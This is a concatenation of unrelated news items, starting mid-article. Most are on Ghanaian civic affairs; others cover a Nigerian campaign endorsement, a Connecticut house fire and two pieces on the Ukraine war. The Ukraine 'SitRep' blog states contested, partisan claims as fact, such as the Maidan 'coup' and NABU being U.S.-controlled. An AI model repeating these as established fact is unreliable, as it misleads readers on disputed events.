According to him, this would improve the turnaround time of cases that went to the court because ADR is faster, cheaper, easier and less acrimonious and there is neither a winner or a loser.

He maintained that there was a collective responsibility to ensure that democracy thrived in the country but emphasized that this can happen with a well-resourced judiciary.

Justice Anin-Yeboah urged court users especially, the staff to ensure the highest maintenance culture of the facility and equipment.

Chief of Ngleshie Amanfro, Nii Kwashie Gbobilor, on his part said the court would impact the image of the town as hitherto the area was served by courts in the Awutu Senya East Municipality or Weija in the Weija-Gbawe Municipality.

The well-furnished court meets the standard of utility and modernity with installed computers, solar power, a generator set and a borehole to ensure regular and uninterrupted water and electricity supply.

The project built within three years, was funded by the District Assembly Common Fund (DACF) with support from the judicial service.

GNA
Ms Sheila Bartels, the Member of Parliament (MP) for Ablekuma North Constituency in the Greater Accra Region, has called on the judiciary to collaborate with Metropolitan, Municipal and District Assemblies (MMDAs) to ensure strict enforcement and compliance of sanitation bylaws of the assemblies.

She made the call on behalf of the Greater Accra Regional Minister, Mr Henry Quartey during the inauguration of a District Court at Ngleshie Amanfro, in the Ga South Municipality.

Present at the inauguration was Chief Justice Kwasi Anin-Yeboah; Mr Sylvester Matthew Tetteh, the MP for the Bortianor Ngleshie Amanfro Constituency, and Mr Joseph Nyarni, the Municipal Chief Executive (MCE) and other dignitaries.

Ms Bartels said the court would not only facilitate effective administration of justice, but also enhance good governance.

She appealed to the judiciary to set aside special days for the adjudication of sanitation related offences in realization of the Presidents vision to make Accra the cleanest city.

Mr Tetteh said although the Assembly was created few years back, a lot of development projects have taken place.

He said it was a bold decision to build a court in the area to ensure administration of justice was brought closer to the people.

Meanwhile, the Awutu-Senya-East Municipal Sanitation Taskforce has charged a resident, Yaw Desmond to sweep a portion under the Kasoa overpass for eight hours for dumping refuse there.

Desmond collected monies from market women to dump their refuse at a dumping site but ended up spilling them under the Kasoa overpass at the old market.

He was arrested by the taskforce and detained in a police cell till the following morning when the assembly directed him to sweep for eight hours to serve as deterrent to others.

Senior Public Health Engineer of the department of Environmental Health and Sanitation Unit of the assembly, Mr. Gabriel Agyei Abrefa had earlier warned in an interview with the GNA, that the assembly will this year, strictly enforce its sanitation bylaws to address sanitation challenges in the area.

He said anyone arrested in such an act would face instant justice based on the Assembly's bylaws by sweeping the portion littered or face court action if the need be.

He advised market women to dump their refuse at the allocated places provided by the Assembly in the market and desist from assigning unrecognised people to undertake such activities.

GNA
Nana Obiri Boahen, a legal practitioner assisting persons affected in the Appiatse explosion disaster to battle their case in court has expressed worry over the delay of the Ghana Police Service to provide accident reports for the victims.

He stated: Honestly speaking, l have not enjoyed the cooperation of the Police. l must be candid about it; so, l have written a letter to the Regional Police Command.

So far, l have received the accident report of Mr Kwasi Owusu and filed the wit at Tarkwa court, the legal practitioner added.

Nana Obiri Boahen disclosed this to journalists at Appiatse, when the Prestea Huni-Valley Municipal Assembly and the Appiatse Disaster Relief Committee organised the first memorial service for the 16 persons who perished in the explosion last year.

He said his office has received about 60 to 70 names, but the accident reports would direct him to know the level and extent of injury, level of incapacitation, whom to sue and who should be vicariously liable.

The availability of the accident report would facilitate the process but at least l can rely on Mr Owusus report and proceed with the case should the Police refuse to cooperate Nana Obiri Boahen said.

He added: Its rather unfortunate that after my first visit to Appiatse community, l learnt some victims were informed to look at it from the political perspective and it beats my understanding.

A lawyer is prepared to assist a victim, and somebody advised them its about politics. What has this got to do with the National Democratic Congress (NDC) and the New Patriotic Party (NPP)?

Lets refrain from this attitude.

Nana Obiri Boahen commended the Municipal Chief Executive (MCE) for Prestea Huni-Valley, Dr Isaac Dasmani and Appiatse Disaster Relief Committee for their continuous support.

In response, the Divisional Police Command of Tarkwa, Assistant Commissioner of Police (ACP) George Andrew Kuma, dismissed claims that the Police have delayed the accident report of the victims.

He said officers of the Police Service have worked tirelessly since the incident happened on January 20, 2022, and had come out with Mr Owusus accident report earlier because he came to write his statement alone, but the others presented theirs as a group.

ACP Kuma, however, indicated that they would meet the MCE and set up a desk at the Appiatse Relief Camp to enable all the victims to come over and write their statements to help to process the accident reports for them.

GNA
Johnson Asiedu Nketiah, National Chairman of the opposition National Democratic Congress (NDC) has clarified that the latest changes made in the partys leadership are not out of hatred for any member.

He stated that the new development is part of the partys reorganisation exercise, which started a year ago.

Mr. Asiedu Nketiah claimed while speaking on Accra-based Star FMs Midday News that the move will reposition the partys parliamentary caucus in terms of economic debates ahead of the 2024 general elections.

"It is the continuation of our reorganisation exercise to reposition the party for the 2024 elections. So, its the continuation of the process which was started a year earlier, from branches through to constituency to regional and national. Weve now come to the reorganization on the form in Parliament," he is quoted by Pulse Ghana as having said.

He further explained, "The thinking is that going into 2024, the debate is going to be principally on the economy, and so we need to put our best foot forward so we can match the NPP in that area. Thats why we chose Ato Forson to lead the charge as Minority leader and then Armah Kofi Boah, our expert in energy, which is also going to feature prominently, and then Kwame Agbodza is our person on infrastructure."

According to the partys chairman, they "will continue to move forward with our proposal in revamping the economy and hoping to attract the attention of the nation that we offer a better alternative to what we are seeing in the government now. So, the battle will continue, except that the key players have changed positions. So, we are not going to relent in making NDC the better alternative."

On Tuesday, January 24, the opposition party announced some changes in its leadership in Parliament.

The Ranking Member on Finance, Mr. Cassiel Ato Forson, is taking over from Mr. Haruna Iddrisu as the Minority Leader.

The Minority Chief Whip, Hon. Mohammed-Mubarak Muntaka has also been replaced with Mr. Kwame Agbodza.
Chairman of the Board of Trustees of the National Cathedral, Apostle Prof Opoku Onyinah

24.01.2023 LISTEN

The National Cathedral Secretariat has held a meeting to discuss what it describes as the general misunderstanding that has characterised the project.

At the meeting held on Monday, January 23, the Board of Trustees acknowledged that there is a misunderstanding about whether it is the state that is fully funding the construction of the National Cathedral or not.

It also discussed the general impression being created that the National Cathedral project is not being executed with the expected high Christian standards of integrity, transparency and accountability.

In response to these developments, the Board of the National Cathedral of Ghana, at its meeting said it welcomes a decision by Parliament to appoint an independent auditor to review all issues concerning the award of contracts, procurement, construction works and financial operations of the National Cathedral project so far.

Meanwhile, the National Cathedral Secretariat says it has already engaged Deloitte to commence a normal statutory audit.

The Board is already in discussions to engage Deloitte, which accepted to be the auditors when the National Cathedral was registered, to commence the normal statutory audit, parts of a release issued by the National Cathedral Secretariat after its meeting on Monday said.

The release signed by the chairman of the Board of Trustees, Apostle Prof Opoku Onyinah also noted that it is the hope and trust of the Board of the National Cathedral of Ghana that once these nagging issues are satisfactorily dealt with, the public interest and confidence in the project would be restored rekindled to enable the citizenry to contribute generously to complete the Cathedral to the glory of God.
The Dagomba Chief of the Tamale Technical University (TaTU), Naa Nurudeen Ibrahim has appealed to individuals to assist students of the University with educational materials.

According to him, the cost of educational materials has sadly shot up in the market, hence the urgent call to individuals and cooperate.

Though I know we are not in normal times, but I never thought there'll be an astronomical increase in the items. I personally confirmed the prices at some shops here in Tamale after several parents and colleagues complained to my hearing. With Gh 500 you're likely not to receive change after buying books, school bag and few stuffs, for now. One cannot talk about purchasing a laptop for educational purposes, he stated.

In a statement copied to the press, chief Nurudeen appealed to politicians and philanthropists to extend their timely assistance to the various campuses especially TaTU, revealing that hundreds of students have a backlog of school fees to clear.

I hope and pray that our appeal will touch the hearts of the public to come to the assistance of the student body, anything that's of benefit to our studies is welcome, he stated.

Chief Nurudeen used the opportunity to welcome freshers and continuing students back to campus.
The General Secretary of the Christian Council of Ghana (CCG), Dr. Cyril G. K. Fayose has commended the leadership of AcrossFaiths Foundation Ghana for promoting peace among all faiths in the country.

Dr. G. K. Fayose gave the commendation when members of the governing board of the foundation paid a courtesy call to the council.

The General Secretary of the CCG in his welcome address stressed the importance of religious tolerance in the country.

He maintained that there is a need for all faiths to come together to work as partners in the development of Ghana.

On his part, the President of AcrossFaiths Foundation Ghana, and Bishop of Accra Methodist Diocese, Rt Rev Emmanuel Borlabi Bortey expressed his gratitude to the council for its role in ensuring harmony among the citizenry.

The governing board of the AcrossFaiths Foundation led by its president, Rev. Borlabi Bortey and his Vice, Sariki Alhaji Madingo who also doubles as the president of the Supreme Council of Ga-East Zongo and Tribal chiefs were at CCGs secretariat to officially introduce the foundation and also engage the leadership of the council on a number of critical issues which if not addressed properly will affect the peace and harmony the country is currently enjoying.

Key issues discussed were the influx of terrorists, religious tolerance, and the need for different faiths in the county to co-exist peacefully.
Senator Magnus Ngei Abe, Nwanne Dina Mba indigbo on the occasion

24.01.2023 LISTEN

Governorship candidate of the Social Democratic Party (SDP) in Rivers State, Senator Magnus Ngei Abe, has said that the Igbos are a significant bloc in the politics of Rivers State.

Abe made the remarks at a ceremony in Port Harcourt organized by the Igbo Community in Rivers State to endorse him as their sole candidate in the March 11, Governorship Election.

The Senator said that, in the history of politics in Rivers State, everybody who understands politics in Rivers State understands that the Igbos are a significant bloc in the state emphasizing that anybody with such support is already a front runner.

Abe said: The Igbos have never come together to endorse only one candidate. This is the first time in the history of politics in this State that the Igbo people Indi-Igbo in Rivers State have come together across party lines, across every divide to endorse one candidate for the governorship of Rivers State and I, Magnus Ngei Abe, I am the beneficiary of that grace.

I did not campaign for it. I did not lobby for it. I have not spent a penny. Even the clothes I'm wearing here was provided for me by the Igbo people. All I have to do was to come here today and accept your love.

This kind of trust, this kind of commitment, this kind of love to a politician in this country where nobody believes anything that any politician says is unprecedented.

My prayer today is that, Almighty God who holds the future in his hands and knows us even more than we know ourselves, will not allow me to disappoint you. And let me put it on the record that the Igbo people did not ask me for anything. There is no pre-negotiation. All they told me was that I should serve God and see that the people are protected so they can do their business.

"That is all you have asked me to do. That I should abide by the oath of office that I will swear before you all.

Let me assure you, I know and I have said it severally and I think everybody is beginning to believe it now, even with what we are seeing today. I have neither silver nor gold but what I promise is that I will uphold the oath of the office of the Governor.

Everybody in this state will be treated fairly and justly. Everybody, regardless of where you come from and who you are, everybody in this state that is ready to work hard and prosper will be given an opportunity in which hard work will yield prosperity.

Everybody who lives here, you vote here, you bring up your children here, you have called this place your home, we will build a home together in Rivers State that all of us would be proud of, and most importantly, I think it is important that I say this, there will be no excuses.

I will not come back to stand in front of Rivers people and begin to give excuses why we cannot do what is right and why we cannot make your life better.

There will be no excuses.

Earlier, in an address presented by the secretary of the Igbo Community in Rivers State, Mazi Ikechukwu Edward Osisiogu, on behalf of His Royal Majesty, Eze Stanhope Ogadinma Okeorji, said before this time, different Igbo groups had endorsed Senator Abe even Igbo groups who have not been in good terms are all here, setting aside their differences and agreed to come together to speak with one voice.

The address reads in parts: "To us, Ndigbo, it is a very good sign that God is with you and that God is involved in your project and we will leave no stone unturned to make sure that victory is achieved.

"We profiled every other candidate before we came to this conclusion. For someone calm, intelligent and smart enough to govern a complex state like Rivers State, Chief Senator Magnus Ngei Abe has that capacity.

"For good and bright ideas to make Rivers State an investors haven, Chief Senator Magnus Ngei Abe stunned us with his great plans for Rivers State and you can see his sincerity and optimism that this dream is achievable as it is not rocket science in cities and countries where it was deployed as a proven formula.

"For the security of lives and property of Rivers people, Senator Magnus Ngei Abe has the answers.

"For Industrial Parks, International Standard Markets and shopping Malls, Senator Magnus Ngei Abe said that it is a necessity for Rivers State to grow economically, that government will create enabling environment for businesses to thrive and facilities built to make business people more comfortable in their business environment.

"In Agriculture, let us not forget that SMA was part of a government that set up some farms in the State, and he was tagged the brain box of every good idea in that administration, he will take agriculture from where they left it and he promised to revamp the agro-business in the State, which will help create jobs for the youths and the women of Rivers State.
24.01.2023 LISTEN

The British Council Ghana and BlueCrest University will launch the SoCreative Africa Learning Programme, a unique opportunity for young creative professionals to gain essential skills in the creative industries.

This online program will provide participants with a comprehensive understanding of the creative economy and its key drivers, as well as the skills needed to successfully navigate the industry. From content creation and project management to entrepreneurship and marketing, the program will cover a wide range of topics that are critical to building a career in the creative industries.

The program will be delivered entirely online and will be parallel led by leading industry professionals and academics from BlueCrest University. The program will also feature guest lectures and networking opportunities with industry leaders, providing participants with valuable insights and connections.

"The creative industries are a vital part of the global economy and employ millions of people worldwide," said Dr. Sujith Jayaprakash, Rector of the BlueCrest University. "This program is designed to give young professionals the skills and knowledge they need to succeed in this rapidly growing field. We are proud to be partnering with the British Council, one of the leading institutions in the creative arts, to deliver this program."

The Soo Creative program will be open to young professionals aged between 18 to 35 and will be delivered in English. Applications are now open and are welcome from anyone interested in building a career in the creative industry.

For more information on the SoCreative Africa E-Learning program, please visit the British Council website at https://communitytraining.britishcouncil.org and to apply for this program, visit https://elearning.bluecrest.edu.gh/
January 24, 2023

Ukraine SitRep - No Southern Push Yet, Kiev Government Trouble, Tanks And Escalation

Last week, following two days of heavy fighting along the southern front in Ukraine, I concluded that the expected push from the south into the back of the Ukrainian forces at the Donetzk frontline, was finally happening.

Ukraine - Russian Army Activates Southern Front

I was wrong. I, and other analysts following the war, had been deceived by the sudden rush of news from that frontline. It said that Russian forces made progress in a large number of towns. But nearly as soon as I had published my piece that news died down. In the following days nothing happened but the usual exchange of artillery fire and minor local clashes.

I am not sure what happened. But the Ukrainian army also seemed to have believed that something big was coming as it had rushed an additional mechanized brigade to that line.

While the big one has not happened yet there are several probing attacks in the area with some successes around Vuhledar.

Dima of the Military Summary channel noted (vid) a Russian report which said that two Ukrainian officers had crossed the southern frontline and surrendered to Russian forces. He speculates that the whole fluff up in the news was created as a diversion to allow for a secure extraction of those officers. We have no evidence for that but it may well have happened that way.

It is interesting that this was followed by additional government turmoil in Kiev as another senior advisor of president Zelensky, the deputy head of his office Kyrylo Tymoshenko, resigned. Additionally several deputy ministers and oblast governors were fired:

Deputy Defence Minister Vyacheslav Shapovalov also resigned, following reports he oversaw the purchase of military food supplies at inflated prices from a relatively unknown firm. The department called this a "technical mistake" and claimed no money had changed hands. The defence minister himself - Oleksii Reznikov - has been under scrutiny for the same reason. A host of other top officials were dismissed on Tuesday, including: Deputy Prosecutor General Oleskiy Symonenko

Deputy Minister for Development of Communities and Territories Ivan Lukerya

Deputy Minister for Development of Communities and Territories Vyacheslav Negoda

Deputy Minister for Social Policy Vitaliy Muzychenko

And the regional governors of Dnipropetrovsk, Zaporizhzhia, Kyiv, Sumy and Kherson

I urge people to be careful with corruption allegations in Ukraine. These often come from the extralegal National Anti-Corruption Bureau of Ukraine (NABU). The bureau was setup in 2014, after the Maidan coup. It was created and controlled by the U.S. embassy. NABU was used in various power plays to remove people who the embassy disliked.

In 2020 the supreme court of Ukraine ruled that NABU was outside of the law and should not have the investigative powers it assumed. This came after NABU had investigated several supreme court judges in anti-corruption cases. That fight between two camps of power in Ukraine led to a constitutional crisis.

A year later Zelensky fired the leading supreme court judge who had written the opinion on NABU. The judge appealed the decision and the court took his side. The conflict remains unresolved. The judge fled to Austria where he is now threatened with arrest under a Ukrainian warrant.

There are many of such little reported power plays in Kiev with Zelensky moving more and more into a dictatorial role. Over time his position will become very lonely.

But in the east the battle continues and Ukraine keeps losing the war. The Telegram channel Intel Slava Z notes:

Prigozhin on the objectives of the actions of PMC "Wagner" in the Artemovsk region. The task of taking Bakhmut is to destroy the Ukrainian army in the vicinity of the city and prevent any offensive actions in any direction of the front. All of their combat-ready units of the Armed Forces of Ukraine are sent to Bakhmut. And PMC "Wagner" destroys them, opening up operational opportunities in other areas"

This confirms my previous observation:

I count the equivalent of some 27 brigade size formations in that area. The usual size of a brigade is some 3,000 to 4,000 men with hundreds of all kinds of vehicles. If all brigades had their full strength that force would count as 97,500 men. In a recent interview the Ukrainian military commander Zaluzhny said that his army has 200,000 men trained to fight with 500,000 more having other functions or currently being trained. The forces which are currently getting mauled in the Bakhmut area constitute 50% of Ukraine's battle ready forces.

There are still Pentagon officials who deny the real situation:

Russian forces took control of the city of Bakhmut almost a year ago after Moscow opened a phase of the war that focused on territories in the Donbas, the far eastern corner of Ukraine comprised of the Luhansk and Donetsk oblasts. Recent successes by Ukrainian fighters in the Bakhmut area have prompted Moscow to send in reinforcements, said the senior U.S. military official who spoke on condition of anonymity. U.S. and Ukrainian officials have said Ukrainian troops are presently in control of Bakhmut, though Moscow claimed this week that its forces have taken control of a nearby salt-mining town, Soledar. Ukraine forces continue to successfully hold and defend Bakhmut, the U.S. military official said, adding the new Russian troops are being rushed to the battlefield ill trained and ill equipped.

To read such nonsense in the Stars and Stripes, a newspaper for the U.S. military, is quite revealing. Can these people even read a map?

Bakhmut has never been under the Russian forces control. This was the situation near Bakhmut 6 months ago. The Russian held territory is red.

This is the current situation around Bakhmut. The city is nearly encircled. All major roads leading in and out are under Russian artillery control.

It is a big meat grinder. The German intelligence service BND says that the Ukrainian forces lose hundreds of soldiers per day in that city alone. The Russian defense ministry does not report on Bakhmut as that is Wagner's territory. But it daily reports if additional hundreds of losses on the Ukrainian side.

In a useless attempt to stop the steady drain of Ukrainian forces the 'west' is moving additional weapons into Ukraine. The U.S. wants to unlock the transfer of tanks by other countries to Ukraine by delivering parts of its own tank reserves:

The Biden administration is leaning toward sending a significant number of Abrams M1 tanks to Ukraine and an announcement of the deliveries could come this week, U.S. officials said. The announcement would be part of a broader diplomatic understanding with Germany in which Berlin would agree to send a smaller number of its own Leopard 2 tanks and would also approve the delivery of more of the German-made tanks by Poland and other nations. It would settle a trans-Atlantic disagreement over the tanks that had threatened to open fissures as the war drags into the end of its first year. The White House declined to comment.

...

The shift in the U.S. position follows a call on Jan. 17 between President Biden and German Chancellor Olaf Scholz in which Mr. Biden agreed to look into providing the Abrams tanks against the judgment of the Pentagon. A senior German official said that the issue had been the subject of intense negotiation between Washington and Berlin for more than a week and appeared to be on the way to resolution.

...

Previously, the Pentagon had ruled out providing the tanks to Ukraine, saying they were too complicated for the Ukrainians to maintain and operate. But White House and State Department officials were described as being more open to providing Abrams to break the diplomatic logjam holding up Leopard deliveries.

U.S. Joint Chiefs Chair Milley and Defense Secretary Austin have been against any tank delivery. They are afraid of the consequences of this steady mission creep. The Biden administration steadily blows through each of its own red lines. Biden had started out by declaring that the U.S. would only deliver defensive weapons. Then came HIMARS and other longer range weapons that hit targets in Russia. Delivering tanks was a red line. What will come next? Fighter planes that have no chance to defeat superior Russian air defenses?

They military are not alone in their fear. The Science and Security Board Bulletin of the Atomic Scientists moved the hands of its Doomsday Clock:

The Clock now stands at 90 seconds to midnightthe closest to global catastrophe it has ever been.

Biden is in a bind. He started a war that he is not allowed to lose because losing in Ukraine will come with the loss of U.S. financial hegemony:

The Biden Team cannot withdraw its fantastical narrative of Russias imminent humiliation; they have bet the House on it. Yet it has become an existential issue for the U.S. precisely because of this egregious initial miscalculation that has been subsequently levered-up into a preposterous narrative of a floundering, at any moment collapsing Russia.

...

This evolving New Order existentially threatens dollar hegemony  the U.S. created its hegemony through demanding that oil (and other commodities) be priced in dollars, and by facilitating a frenetic financialisation of asset markets in the U.S. It is this demand for dollars which alone has allowed the U.S. to fund its government deficit (and its defence budget) for nothing.

...

Team Biden thus has painted the U.S. into a tight Ukraine corner. But at this stage  realistically  what can the White House do? It cannot withdraw the narrative of Russias coming humiliation and defeat. They cannot let the narrative go because it has become an existential component to save what it can of the Ponzi. To admit that Russia has won would be akin to saying that the Ponzi will have to close the fund to further withdrawals (just as Nixon did in 1971, when he shut withdrawals from the Gold window). Commentator Yves Smith has provocatively argued, What if Russia decisively wins  yet the western press is directed to not notice? Presumably, in such a situation, the economic confrontation between the West and New Global Order states must escalate into a wider, longer war.

And escalating it is. With ever increasing speed.

Posted by b on January 24, 2023 at 17:05 UTC | Permalink

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Rutherford County Mayor Joe Carr has been in office only since Sept. 1, but he has already laid out four specific goals for the county this year.First, he wants to find a contingency plan for solid waste.If Middle Point (Landfill) closes, Rutherford County doesnt have any options except trash in the streets; thats not an option, Carr said in an []
Staff Reporter

Richelle obtained a bachelor of arts degree in mass communications from the Far Eastern University in Manila, the Philippines. She was a junior reporter for Marianas Variety from 2009 to 2010, and from 2014 to 2015. In the Maldives, she worked as a news reporter and marketing executive. In her free time, shes a painter, pianist, and mom baker.
Flags representing the United States, Guam, Japan, the Philippines, Palau and Taiwan are seen flying at the ITC Building in Tamuning on June 14, 2021.
MERIDEN  The city on Monday released audio of several 911 calls from residents reporting Saturdays blaze in a home on Broad Street that injured four firefighters and left a minor victim in critical condition.

An investigation into the fire continued as of Monday, but the fire marshal said it did not appear suspicious.

The injured minor remained in critical but stable condition in a Bronx, New York hospital according to the citys strategic communications specialist Tony Terzi. No other information about the victim has been released.

Terzi said one of the injured firefighters experienced a cardiac issue, one suffered smoke inhalation and two suffered burns which were treated at a hospital in Bridgeport.

The two firefighters who sustained burns were released from the hospital but will require further treatment from specialists. The two other firefighters that were transported as a result of smoke inhalation and cardiac exertion were treated, released and cleared to return to work for their next scheduled shift.

At approximately 3:50 p.m. on Saturday, the first of at least four 911 calls was placed, Terzi said. The calls alerted first responders to a grill fire on a side porch of a home at 1060 Broad St. Callers informed firefighters of flames and black smoke engulfing the house, with one individual stating civilians were attempting to break down a door.

Theyre trying to kick down the house door now to see if people are coming out, the caller said.

Shortly after, the same caller informed dispatchers of two young kids, seen fleeing the building.

Although the cause of Saturdays fire was still undetermined as of Monday, Fire Marshal John Yacovino said officials do not believe the fire was intentionally set.

At this point, we dont believe any criminal activity is involved, Yacovino said

.City Councilor Bob Williams Jr., who sits on the councils Public Safety Committee, said Monday he had inquired about the injured fire personnel as well as the status of the resident who suffered critical injuries.

We need to keep them in our prayers, Williams said. Thank God our firefighters are going to be fine. Their heroism is unquestionable. As the deputy chief stated, its due to the fact that we have ongoing and exceptional training in the city of Meriden.

Williams remarks were in reference to statements Deputy Fire Chief Ryan Dunn made to news outlets following the fire.

State Rep. Michael Quinn was among those on scene who witnessed firefighters efforts on Saturday to both extinguish the blaze and rescue the resident trapped in the house.

I think in this particular instance, with the fire department knowing there was a victim trapped on the third floor, the mindset became what do we have to do to get this person out, Quinn said, adding that he and other members of the citys legislative delegation are always open to hear from our first responders as to what we can do to make their jobs go better.

The injuries to firefighters come amid ongoing efforts by the city to increase firefighter safety. For example, fire officials implemented a safety training program through which safety training officers are deployed with fire engine crews during the initial response to active calls.

Separate from those active call responses, safety training officers are also responsible for providing continuous safety training for all fire department personnel and for coordinating the departments safety awareness-related operations during their assigned shifts.

bbaker@record-journal.com

mgagne@record-journal.com
Conor here: John Helmer details another German general trying to hit the brakes on Berlins support for Ukraine before the train goes completely off the tracks.

Unfortunately, retired Major General Harald Kujats claims have been ignored in the US and in Germany. That Kujat says the US media have been less deceptive in their reporting of the war than the German press really gives you an idea of how bad the censorship is there.

Wolfgang Streeck wrote recently in New Left Review about how stifling the environment has become:

In other respects as well, the corridor of the sayable is rapidly, and frighteningly, narrowing. As with the destruction of the pipelines, the strongest taboos relate to the role of the United States, both in the history of the conflict and in the present. In admissible public speech, the Ukrainian war  which is expected to be termed Putins war of aggression (Angriffskrieg) by all loyal citizens  becomes entirely de-contextualized: it has no history outside of the narrative of a decade-long brooding of a mad dictator in the Kremlin over how to best wipe out the Ukrainian people, facilitated by the stupidity, combined with greed, of the Germans falling for his cheap gas. As this writer found out when an interview he had given to the online edition of a centre-right German weekly, Cicero, was cut without consultation, among what is not to be mentioned in polite German society are the American rejection of Gorbachevs Common European Home, the subversion within the United States of Clintons project of a Partnership for Peace, and the rebuff as late as 2010 of Putins proposal of a European free trade zone from Lisbon to Vladivostok. Equally unmentionable is the fact that by the mid-1990s at the latest, the United States had decided that the border of post-communist Europe should be identical to the western border of post-communist Russia, which would also be the eastern border of NATO, to the west of which there were to be no restrictions whatsoever on the stationing of troops and weapons systems. The same holds for the extensive American strategic debates on extending Russia, as documented in publicly accessible working papers of the RAND Corporation. More examples of the publicly unsayable include the historically unprecedented arms build-up on the part of the United States during the war on terror, accompanied by the unilateral termination of all remaining arms control agreements with the Soviet Union of old; the unrelenting American pressure on Germany to replace Russian natural gas with American liquid natural gas after the invention of fracking, culminating in the American decision long before the war to close down Nord stream 2, one way or other; the peace negotiations that preceded the war, including the Minsk agreements between Germany, France, Russia and Ukraine, negotiated by among others the then German foreign minister, Frank-Walter Steinmeier, which fell apart under pressure from the Obama administration and its special envoy for US-Ukrainian relations, the then Vice President Joe Biden, coinciding with a radicalization of Ukrainian nationalism.

Helmer also makes an important point about the military-industrial complex in Germany and weapons companies alliance with the war-mongering Green Party. In a separate post today, we look at the Green (and specifically foreign minister Baerbock) efforts to increase Germanys involvement in the Ukraine war.

By John Helmer who has been the longest continuously serving foreign correspondent in Russia, and the only western journalist to have directed his own bureau independent of single national or commercial ties. Helmer has also been a professor of political science, and advisor to government heads in Greece, the United States, and Asia. Originally published at Dances with Bears

A fresh German general has issued a public warning that the war on the Ukrainian battlefield by the US and NATO armies is lost, and that Germany will be lost next if the advance of the Russian forces toward Kiev and Lvov isnt halted quickly by an armistice, partition and demilitarization of the Ukraine, and time to rebuild the German army.

Retired Major General Harald Kujat  son of a Wehrmacht soldier killed fighting the Red Army who grew up to become chief of the German army and then of the NATO military staffs  is the author of a military assessment in which he blames the German press, ex-Chancellor Angela Merkel, British prime minister Boris Johnson, and other NATO allies he doesnt name for a new German version of the stab in the back .

In this scheme, according to Kujat, the NATO allies have aimed at sabotaging Germanys power in Europe. This is being carried out, he said, by escalating the risk of a conventional attack on Germany, and pursuing the goal of exposing Germany to Russia in particular. Without explicitly targeting the US, Kujat blames Washington for establishing a direct nuclear threat to Russia in the Aegis missile batteries now installed in Poland and Romania; for making Germany a direct party to the war in the Ukraine by allowing the US [to] train Ukrainian soldiers in Germany; and for destroying the Nord Stream gas pipelines to Germany.

Kujats assessment was published in Switzerland on January 18; German publication followed on January 20. Attacked in the past by mainstream German media, and by US government officials, Kujats new statement has been ignored in Germany and the US.

The longer the war lasts, the greater the risk of expansion or escalation, Kujat warned, adding the German army, German territorial security, and German industrial might will be the loser because Russia could surpass the Western escalation at any time with its own. Kujat meant this to include the use of nuclear weapons.

Kujat is the most senior German officer to make public an attack on the German and allied war to defeat Russia in Europe.

He follows Vice Admiral Kay-Achim Schonbach, head of the German Navy, who was forced to resign in January 2022, after a public speech in which he said that the Crimea Peninsula is gone: It will never come back  this is a fact; and that Russian security concerns should be addressed with respect. What [Putin] really wants is respect. And, my God, giving someone respect is low cost, even no cost.  It is easy to give him the respect he really demands  and probably also deserves.

After Schonbachs ouster, no serving German officers have dared to risk public criticism of the war policy in Germany. Instead, they are expressing themselves through retired officers. Brigadier General Erich Vad, the ex-head of the military group in Merkels chancellery, issued a detailed attack earlier this month; read the details here.

Referring to the resistance by Chancellor Olaf Scholz to sending German Leopard tanks to the Ukraine, Kujat says the debate over the supply of certain weapons systems clearly shows the intention of many media outlets to make policy themselves. It may be that my unease about this development is a consequence of my many years of service in NATO, including as chairman of the NATO-Russia Council and the NATO-Ukraine Commission of Chiefs of Staff. I find it particularly annoying that German security interests and the dangers to our country posed by an expansion and escalation of the war are given so little attention. This shows a lack of responsibility or, to use an old-fashioned term, a highly unpatriotic attitude.

Kujat claims to have always believed that this war must be prevented and that it could have been prevented. That this has not been the outcome he blames on Merkel for her policy of deceiving Russia, calling that a blatant breach of trust and a breach of international law, that is clear.

The turning point in the Russian-German security balance of forces began in Washington in 2002, Kujat says, when US President George W. Bush cancelled the anti-ballistic missile (ABM) treaty, and then in 2008 when Bush tried to push through an invitation from Ukraine and Georgia to join NATO. The Obama Administrations decision in 2009 to deploy NATOs ballistic missile defense system in Poland and Romania was a new escalation because Russia is convinced that the US could also eliminate Russian intercontinental strategic systems from these launch Facilities and thus endanger the nuclear strategic balance.

Germanys survival is imperiled by this nuclear imbalance, according to Kujat, because Russian nuclear arms are now directly threatened by the US, and by the escalation of conventional US and NATO weapons on the Ukrainian battlefield. You have to reckon with that. The longer the war lasts, the greater the risk of expansion or escalation. [Question: We already had this in the Cuban Missile Crisis?] It was a comparable situation.

Like Vad, Kujat has been obliged to publish through a small-circulation Zurich magazine, Zeitgeschehen im Fokus (Current Events in Focus), and then in an obscure German publication based in Frankfurt; called Overton, an English revolutionary name, this magazine reveals nothing about itself except that it is a voice against debate constriction and moralism. It questions the general narratives and is decidedly not an ideological mouthpiece or organ of pronouncement, but feels committed to the Enlightenment. Vad published his military analysis in Emma, a Cologne feminist magazine.

Vad was explicit in his criticism of Merkel and the current German foreign minister, Annalena Baerbock. Despite being asked about her in his interview, Kujat avoids attacking Baerbock by name. He also claims the US media have been less deceptive in their reporting of the war than the German press, citing an article in Foreign Affairsby Fiona Hill, a former senior White House National Security Council official. She is very competent and absolutely reliable.

Kujat blames the British, not the Americans, for disrupting the ceasefire terms he believes the Kremlin was ready to sign following the Istanbul negotiations at the end of March 2022. Follow what happened in Moscow and in Istanbul at the time in this report.

In Kujats version, Russia had apparently [sic] agreed to withdraw its forces to the level of February 23, i.e. before the attack on Ukraine began. Now the complete withdrawal is repeatedly demanded as a prerequisite for negotiations Ukraine had pledged to renounce NATO membership and not to allow any foreign troops or military installations to be stationed. In return, it should receive security guarantees from states of its choice. The future of the occupied territories should be resolved diplomatically within 15 years, with the explicit renunciation of military force According to reliable information [sic], the then British Prime Minister Boris Johnson intervened in Kiev on 9th April and prevented a signing. His reasoning was that the West was not ready for an end to the war.

Kujat did not reveal the apparent and reliable sources for his claims. He also appears to signal that US officials were not behind Johnsons action, and what Kujat also calls President Vladimir Zelenskys repeatedly chang[ing] the strategic objectives of Ukrainian warfare.

Kujat has misrepresented and misreported Hills role in escalating US war aims against Russia for several years; for evidence of this, click to read the archive. Kujat has done the same in claiming Johnson, not US officials, have controlled Zelensky.

